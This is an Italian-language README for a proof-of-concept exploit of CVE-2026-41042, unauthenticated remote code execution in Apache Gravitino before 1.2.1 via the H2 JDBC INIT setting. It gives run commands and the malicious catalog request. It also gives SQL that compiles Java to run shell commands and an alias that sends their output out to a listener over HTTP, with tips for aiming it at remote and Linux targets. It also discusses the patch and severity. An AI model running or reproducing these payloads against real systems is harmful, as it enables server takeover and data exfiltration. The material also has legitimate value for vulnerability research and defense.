
Sfrutta RCE non autenticata in Apache Gravitino < 1.2.1 tramite H2 JDBC INIT; ospita payload SQL/Java, esegue comandi ed esfiltra l'output tramite beacon HTTP.
Proof of concept autocontenuta, basata solo sulla libreria standard, per CVE-2026-41042: esecuzione remota di codice non autenticata in Apache Gravitino precedente alla 1.2.1 tramite l'impostazione di connessione INIT di H2 JDBC. Nessun header di autenticazione, nessun driver aggiuntivo, nessuna installazione pip.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
Lo script ospita il payload SQL e un beacon di output, invia la richiesta testConnection e stampa direttamente lo stdout del comando.
CVE assegnata il 2026-07-08, attribuita a Junjie Li (Xidian University). Questa è la prima PoC pubblica funzionante per il problema. PoC di Akinlabi.
| Vulnerabile | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| Corretta | 1.2.1 |
| Avviso | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
H2 1.4.200 è incluso nella cartella libs/ di Gravitino come backend predefinito dell'entity-store, quindi il driver H2 è già nel classpath del server. Non è necessario distribuire alcun driver aggiuntivo affinché l'exploit funzioni.
POST /api/metalakes/{metalake}/catalogs/testConnection (risorsa Jersey org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, produce application/vnd.gravitino.v1+json) accetta un CatalogCreateRequest. Il valore properties.jdbc-url viene passato alla connection factory del provider del catalogo senza alcuna validazione del driver JDBC.
L'uso del driver H2 incluso (org.h2.Driver) insieme all'impostazione di connessione INIT di H2 esegue SQL arbitrario al momento della connessione, e CREATE ALIAS compila ed esegue Java arbitrario sul server. L'endpoint non richiede autenticazione.
Requisiti: Python 3, solo libreria standard.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
Esempi:
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
Se il metalake non esiste, crealo prima (anch'esso non autenticato):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 con due route: /poc.sql serve il payload generato, /beacon?out=... cattura l'output del comando.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
jdbc-mysql (checkJDBCDriverVersion) scatta dopo che la connessione è stata inizializzata, quindi l'errore è cosmetico: la INIT è già stata eseguita. Il percorso di errore è il percorso di esecuzione.Viene generato un nuovo nome di database in memoria casuale per ogni esecuzione (secrets.token_hex(6)), quindi gli alias H2 non persistono mai tra le esecuzioni e ogni esecuzione è deterministica.
Lo stesso jdbc-url malevolo funziona anche tramite POST /api/metalakes/{ml}/catalogs, che restituisce HTTP 200 e rende persistente l'URL INIT di H2 nella configurazione del catalogo. Qualsiasi operazione successiva che forza una connessione attiva l'esecuzione al momento dell'inizializzazione:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
Entrambi i punti di ingresso passano attraverso lo stesso percorso initialize() -> DataSourceUtils.createDataSource, quindi la correzione 1.2.1 copre entrambi.
DataSourceUtils.createDataSource ora blocca URL e driver H2 (i commit 84d3de9c7c / 5daabcd0e, verificati nell'albero 1.3.0):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode esegue URLDecoder fino a 5 volte, quindi la codifica percentuale del prefisso non aggira il controllo. JdbcUrlUtils.validateJdbcConfig (chiamato anche da createDBCPDataSource) blocca inoltre i parametri noti come non sicuri di MySQL/MariaDB/PostgreSQL (autoDeserialize, allowLoadLocalInfile, socketFactory e affini).
Tentativi di bypass testati contro una replica del controllo con H2 1.4.200 reale: spazi iniziali e finali, codifica percentuale 6x+, trucchi con maiuscole/minuscole e tabulazioni, trucchi con suffissi e provider non JDBC. Non è stato trovato alcun bypass pulito; il vettore H2 risulta saldamente corretto nella 1.2.1.
Apache valuta questo problema come a bassa gravità, citando H2 come destinato solo a sviluppo/test e Gravitino come tipicamente interno. L'installazione predefinita contraddice questa valutazione:
testConnection e createCatalog non sono autenticati quando gravitino.authorization.enable=false, che è il valore predefinito0.0.0.0:8090Stima realistica CVSS v3.1: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), soggetta alla raggiungibilità della porta di Gravitino.
127.0.0.1. Questo corrisponde a un laboratorio in cui attaccante e target condividono lo stesso host. Per un target remoto, modifica i riferimenti a 127.0.0.1 in make_payload() e exploit() con l'IP del tuo listener.cmd.exe /c (laboratorio Windows). Su target Linux, sostituisci la riga new String[]{"cmd.exe", "/c", cmd} con /bin/sh -c.createCatalog non è automatizzato in questo script; usa la richiesta manuale sopra.Solo per test di sicurezza e ricerca autorizzati. Ogni tecnica qui descritta è stata sviluppata e verificata in un laboratorio locale. Puntare questo strumento contro un sistema di cui non si è proprietari potrebbe essere illegale nella propria giurisdizione.
| Opzione | Predefinito | Descrizione |
|---|
target | (obbligatorio) | Server Gravitino, es. http://127.0.0.1:8090 |
--metalake | test_ml | Metalake in cui verrà testato il catalogo |
--cmd | whoami | Comando da eseguire sul target |
--port | 9000 | Porta locale per il server HTTP del payload + beacon |